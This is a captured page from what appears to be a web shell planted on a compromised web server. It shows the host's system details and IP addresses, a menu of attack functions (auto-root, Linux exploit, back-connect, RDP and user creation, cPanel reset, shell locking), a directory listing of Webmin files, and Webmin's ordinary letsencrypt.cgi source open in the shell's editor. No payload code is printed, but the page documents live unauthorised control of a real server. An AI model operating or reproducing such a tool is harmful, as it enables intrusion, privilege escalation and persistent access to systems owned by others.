Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
webmin /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
subdir
[ DIR ]
drwxr-xr-x
CHANGELOG
12.02
KB
-rw-r--r--
acme_tiny.py
11.24
KB
-rwxr-xr-x
adminupgrade
299
B
-rw-r--r--
backup_config.pl
1.97
KB
-rwxr-xr-x
bootup.cgi
1.04
KB
-rwxr-xr-x
cache.cgi
1.47
KB
-rwxr-xr-x
cgi_args.pl
159
B
-rwxr-xr-x
change_access.cgi
1.34
KB
-rwxr-xr-x
change_advanced.cgi
3
KB
-rwxr-xr-x
change_anon.cgi
712
B
-rwxr-xr-x
change_bind.cgi
4.8
KB
-rwxr-xr-x
change_ca.cgi
674
B
-rwxr-xr-x
change_debug.cgi
1.38
KB
-rwxr-xr-x
change_lang.cgi
478
B
-rwxr-xr-x
change_lock.cgi
554
B
-rwxr-xr-x
change_log.cgi
2.38
KB
-rwxr-xr-x
change_mobile.cgi
940
B
-rwxr-xr-x
change_os.cgi
1.85
KB
-rwxr-xr-x
change_osdn.cgi
1.54
KB
-rwxr-xr-x
change_overlay.cgi
1.16
KB
-rwxr-xr-x
change_proxy.cgi
1.09
KB
-rwxr-xr-x
change_referers.cgi
633
B
-rwxr-xr-x
change_session.cgi
4.77
KB
-rwxr-xr-x
change_ssl.cgi
3.03
KB
-rwxr-xr-x
change_startpage.cgi
773
B
-rwxr-xr-x
change_status.cgi
1.02
KB
-rwxr-xr-x
change_theme.cgi
1.16
KB
-rwxr-xr-x
change_twofactor.cgi
1.43
KB
-rwxr-xr-x
change_ui.cgi
1.65
KB
-rwxr-xr-x
change_web.cgi
2.47
KB
-rwxr-xr-x
clear_blocked.cgi
154
B
-rwxr-xr-x
clear_cache.cgi
205
B
-rwxr-xr-x
clone_mod.cgi
2.06
KB
-rwxr-xr-x
config
94
B
-rw-r--r--
config.info
609
B
-rw-r--r--
config.info.ar
414
B
-rw-r--r--
config.info.ca
408
B
-rw-r--r--
config.info.cs
233
B
-rw-r--r--
config.info.de
368
B
-rw-r--r--
config.info.es
229
B
-rw-r--r--
config.info.fa
301
B
-rw-r--r--
config.info.fr
577
B
-rw-r--r--
config.info.hr
0
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.it
245
B
-rw-r--r--
config.info.ja
531
B
-rw-r--r--
config.info.ko
206
B
-rw-r--r--
config.info.ms
286
B
-rw-r--r--
config.info.nl
299
B
-rw-r--r--
config.info.no
283
B
-rw-r--r--
config.info.pl
284
B
-rw-r--r--
config.info.pt_BR
299
B
-rw-r--r--
config.info.ru
491
B
-rw-r--r--
config.info.sk
132
B
-rw-r--r--
config.info.sv
202
B
-rw-r--r--
config.info.tr
155
B
-rw-r--r--
cpan_modules.pl
229
B
-rwxr-xr-x
defaultacl
17
B
-rw-r--r--
delete_cache.cgi
471
B
-rwxr-xr-x
delete_mod.cgi
2.24
KB
-rwxr-xr-x
delete_webmincron.cgi
1.51
KB
-rwxr-xr-x
download_cert.cgi
532
B
-rwxr-xr-x
edit_access.cgi
1.38
KB
-rwxr-xr-x
edit_advanced.cgi
3.87
KB
-rwxr-xr-x
edit_anon.cgi
812
B
-rwxr-xr-x
edit_assignment.cgi
1.12
KB
-rwxr-xr-x
edit_bind.cgi
2.95
KB
-rwxr-xr-x
edit_blocked.cgi
944
B
-rwxr-xr-x
edit_ca.cgi
2.82
KB
-rwxr-xr-x
edit_categories.cgi
1.69
KB
-rwxr-xr-x
edit_debug.cgi
2.04
KB
-rwxr-xr-x
edit_descs.cgi
1.49
KB
-rwxr-xr-x
edit_ipkey.cgi
1.7
KB
-rwxr-xr-x
edit_lang.cgi
1004
B
-rwxr-xr-x
edit_lock.cgi
763
B
-rwxr-xr-x
edit_log.cgi
3.04
KB
-rwxr-xr-x
edit_mobile.cgi
1.26
KB
-rwxr-xr-x
edit_mods.cgi
4.67
KB
-rwxr-xr-x
edit_os.cgi
2.72
KB
-rwxr-xr-x
edit_proxy.cgi
3.7
KB
-rwxr-xr-x
edit_referers.cgi
899
B
-rwxr-xr-x
edit_sendmail.cgi
3.48
KB
-rwxr-xr-x
edit_session.cgi
5.18
KB
-rwxr-xr-x
edit_ssl.cgi
10.55
KB
-rwxr-xr-x
edit_startpage.cgi
1.68
KB
-rwxr-xr-x
edit_status.cgi
1.13
KB
-rwxr-xr-x
edit_themes.cgi
3.72
KB
-rwxr-xr-x
edit_twofactor.cgi
1.5
KB
-rwxr-xr-x
edit_ui.cgi
2.74
KB
-rwxr-xr-x
edit_upgrade.cgi
4.26
KB
-rwxr-xr-x
edit_web.cgi
2.88
KB
-rwxr-xr-x
edit_webmincron.cgi
1.35
KB
-rwxr-xr-x
export_mod.cgi
1.23
KB
-rwxr-xr-x
feedback_files.pl
126
B
-rwxr-xr-x
fix_os.cgi
228
B
-rwxr-xr-x
gnupg-lib.pl
13.38
KB
-rwxr-xr-x
hide.cgi
326
B
-rwxr-xr-x
index.cgi
4.16
KB
-rwxr-xr-x
install_mod.cgi
4.2
KB
-rwxr-xr-x
install_theme.cgi
2.29
KB
-rwxr-xr-x
jcameron-key.asc
1.29
KB
-rw-r--r--
letsencrypt-cleanup.pl
2
KB
-rwxr-xr-x
letsencrypt-dns.pl
2.46
KB
-rwxr-xr-x
letsencrypt-lib.pl
13.75
KB
-rwxr-xr-x
letsencrypt.cgi
4.64
KB
-rwxr-xr-x
log_parser.pl
1.23
KB
-rwxr-xr-x
module.info
195
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
142
B
-rw-r--r--
module.info.ar
185
B
-rw-r--r--
module.info.ar.auto
22
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
208
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
218
B
-rw-r--r--
module.info.ca
134
B
-rw-r--r--
module.info.ca.auto
15
B
-rw-r--r--
module.info.cs
28
B
-rw-r--r--
module.info.cs.auto
128
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
142
B
-rw-r--r--
module.info.de
126
B
-rw-r--r--
module.info.de.auto
15
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
262
B
-rw-r--r--
module.info.es
33
B
-rw-r--r--
module.info.es.auto
109
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
158
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
202
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
141
B
-rw-r--r--
module.info.fr
32
B
-rw-r--r--
module.info.fr.auto
129
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
195
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
149
B
-rw-r--r--
module.info.hu
30
B
-rw-r--r--
module.info.hu.auto
148
B
-rw-r--r--
module.info.it
33
B
-rw-r--r--
module.info.it.auto
107
B
-rw-r--r--
module.info.ja
180
B
-rw-r--r--
module.info.ko
22
B
-rw-r--r--
module.info.ko.auto
129
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
180
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
157
B
-rw-r--r--
module.info.ms
119
B
-rw-r--r--
module.info.ms.auto
15
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
144
B
-rw-r--r--
module.info.nl
28
B
-rw-r--r--
module.info.nl.auto
117
B
-rw-r--r--
module.info.no
29
B
-rw-r--r--
module.info.no.auto
117
B
-rw-r--r--
module.info.pl
155
B
-rw-r--r--
module.info.pl.auto
15
B
-rw-r--r--
module.info.pt
33
B
-rw-r--r--
module.info.pt.auto
113
B
-rw-r--r--
module.info.pt_BR
36
B
-rw-r--r--
module.info.pt_BR.auto
119
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
147
B
-rw-r--r--
module.info.ru
34
B
-rw-r--r--
module.info.ru.auto
172
B
-rw-r--r--
module.info.sk
30
B
-rw-r--r--
module.info.sk.auto
132
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
147
B
-rw-r--r--
module.info.sv
30
B
-rw-r--r--
module.info.sv.auto
114
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
258
B
-rw-r--r--
module.info.tr
33
B
-rw-r--r--
module.info.tr.auto
128
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
215
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
209
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
177
B
-rw-r--r--
module.info.zh
22
B
-rw-r--r--
module.info.zh_TW
25
B
-rw-r--r--
module.info.zh_TW.auto
115
B
-rw-r--r--
newcsr.cgi
800
B
-rwxr-xr-x
newkey.cgi
879
B
-rwxr-xr-x
postinstall.pl
2.01
KB
-rwxr-xr-x
refresh_modules.cgi
664
B
-rwxr-xr-x
restart.cgi
87
B
-rwxr-xr-x
save_assignment.cgi
485
B
-rwxr-xr-x
save_categories.cgi
946
B
-rwxr-xr-x
save_descs.cgi
1006
B
-rwxr-xr-x
save_ipkey.cgi
1.31
KB
-rwxr-xr-x
save_newmod.cgi
278
B
-rwxr-xr-x
save_sendmail.cgi
2.08
KB
-rwxr-xr-x
save_webmincron.cgi
1016
B
-rwxr-xr-x
savekey.cgi
2.8
KB
-rwxr-xr-x
setup_ca.cgi
1.52
KB
-rwxr-xr-x
standard_chooser.cgi
1.68
KB
-rwxr-xr-x
stop_ca.cgi
1.03
KB
-rwxr-xr-x
syslog_logs.pl
633
B
-rwxr-xr-x
system_info.pl
5.02
KB
-rw-r--r--
test_sendmail.cgi
784
B
-rwxr-xr-x
third_chooser.cgi
1.55
KB
-rwxr-xr-x
twofactor-funcs-lib.pl
8.81
KB
-rw-r--r--
uninstall.pl
236
B
-rwxr-xr-x
update.cgi
2.86
KB
-rwxr-xr-x
upgrade.cgi
16.08
KB
-rwxr-xr-x
view_webmincron.cgi
1.66
KB
-rwxr-xr-x
webmin-lib.pl
68.83
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : letsencrypt.cgi
#!/usr/bin/perl # Request a new SSL cert using Let's Encrypt use strict; use warnings; no warnings 'redefine'; no warnings 'uninitialized'; require "./webmin-lib.pl"; our %text; our %miniserv; our %in; our $config_directory; our %config; our $module_name; &error_setup($text{'letsencrypt_err'}); # Re-check if let's encrypt is available my $err = &check_letsencrypt(); &error($err) if ($err); # Validate inputs &ReadParse(); my @doms = split(/\s+/, $in{'dom'}); foreach my $dom (@doms) { $dom =~ /^(\*\.)?[a-z0-9\-\.\_]+$/i || &error($text{'letsencrypt_edom'}); } $in{'renew_def'} || $in{'renew'} =~ /^[1-9][0-9]*$/ || &error($text{'letsencrypt_erenew'}); $in{'size_def'} || $in{'size'} =~ /^\d+$/ || &error($text{'newkey_esize'}); my $size = $in{'size_def'} ? undef : $in{'size'}; my $webroot; my $mode = "web"; if ($in{'webroot_mode'} == 3) { # Validation via DNS $mode = "dns"; } elsif ($in{'webroot_mode'} == 2) { # Some directory $in{'webroot'} =~ /^\/\S+/ && -d $in{'webroot'} || &error($text{'letsencrypt_ewebroot'}); $webroot = $in{'webroot'}; } else { # Apache domain &foreign_require("apache"); my $conf = &apache::get_config(); foreach my $virt (&apache::find_directive_struct( "VirtualHost", $conf)) { my $sn = &apache::find_directive( "ServerName", $virt->{'members'}); my $match = 0; if ($in{'webroot_mode'} == 0 && $sn eq $doms[0]) { # Based on domain name $match = 1; } elsif ($in{'webroot_mode'} == 1 && $sn eq $in{'vhost'}) { # Specifically selected domain $match = 1; } if ($match) { # Get document root $webroot = &apache::find_directive( "DocumentRoot", $virt->{'members'}, 1); $webroot || &error(&text('letsencrypt_edroot', $sn)); last; } } $webroot || &error(&text('letsencrypt_evhost', $doms[0])); } if ($in{'save'}) { # Just update renewal &save_renewal_only(\@doms, $webroot, $mode); &redirect("edit_ssl.cgi"); } else { # Request the cert &ui_print_unbuffered_header(undef, $text{'letsencrypt_title'}, ""); print &text($mode eq 'dns' ? 'letsencrypt_doingdns' : 'letsencrypt_doing', "<tt>".&html_escape(join(", ", @doms))."</tt>", "<tt>".&html_escape($webroot)."</tt>"),"<p>\n"; my ($ok, $cert, $key, $chain) = &request_letsencrypt_cert(\@doms, $webroot, undef, $size, $mode, $in{'staging'}); if (!$ok) { print &text('letsencrypt_failed', $cert),"<p>\n"; } else { # Worked, now copy to Webmin print $text{'letsencrypt_done'},"<p>\n"; if ($in{'use'}) { # Copy cert, key and chain to Webmin print $text{'letsencrypt_webmin'},"<p>\n"; &lock_file($ENV{'MINISERV_CONFIG'}); &get_miniserv_config(\%miniserv); $miniserv{'keyfile'} = $config_directory. "/letsencrypt-key.pem"; &lock_file($miniserv{'keyfile'}); ©_source_dest($key, $miniserv{'keyfile'}, 1); &unlock_file($miniserv{'keyfile'}); $miniserv{'certfile'} = $config_directory. "/letsencrypt-cert.pem"; &lock_file($miniserv{'certfile'}); ©_source_dest($cert, $miniserv{'certfile'}, 1); &unlock_file($miniserv{'certfile'}); if ($chain) { $miniserv{'extracas'} = $config_directory. "/letsencrypt-ca.pem"; &lock_file($miniserv{'extracas'}); ©_source_dest($chain, $miniserv{'extracas'}, 1); &unlock_file($miniserv{'extracas'}); } else { delete($miniserv{'extracas'}); } &put_miniserv_config(\%miniserv); &unlock_file($ENV{'MINISERV_CONFIG'}); &save_renewal_only(\@doms, $webroot, $mode); &webmin_log("letsencrypt"); &restart_miniserv(1); print $text{'letsencrypt_wdone'},"<p>\n"; } else { # Just tell the user print $text{'letsencrypt_show'},"<p>\n"; my @grid = ( $text{'letsencrypt_cert'}, $cert, $text{'letsencrypt_key'}, $key ); if ($chain) { push(@grid, $text{'letsencrypt_chain'}, $chain); } print &ui_grid_table(\@grid, 2); } } &ui_print_footer("", $text{'index_return'}); } # save_renewal_only(&doms, webroot, mode) # Save for future renewals sub save_renewal_only { my ($doms, $webroot, $mode) = @_; $config{'letsencrypt_doms'} = join(" ", @$doms); $config{'letsencrypt_webroot'} = $webroot; $config{'letsencrypt_mode'} = $mode; $config{'letsencrypt_size'} = $size; &save_module_config(); if (&foreign_check("webmincron")) { my $job = &find_letsencrypt_cron_job(); if ($in{'renew_def'}) { &webmincron::delete_webmin_cron($job) if ($job); } else { my @tm = localtime(time() - 60); $job ||= { 'module' => $module_name, 'func' => 'renew_letsencrypt_cert' }; $job->{'mins'} ||= $tm[1]; $job->{'hours'} ||= $tm[2]; $job->{'days'} ||= $tm[3]; $job->{'months'} = '*/'.$in{'renew'}; $job->{'weekdays'} = '*'; &webmincron::create_webmin_cron($job); } } }
Close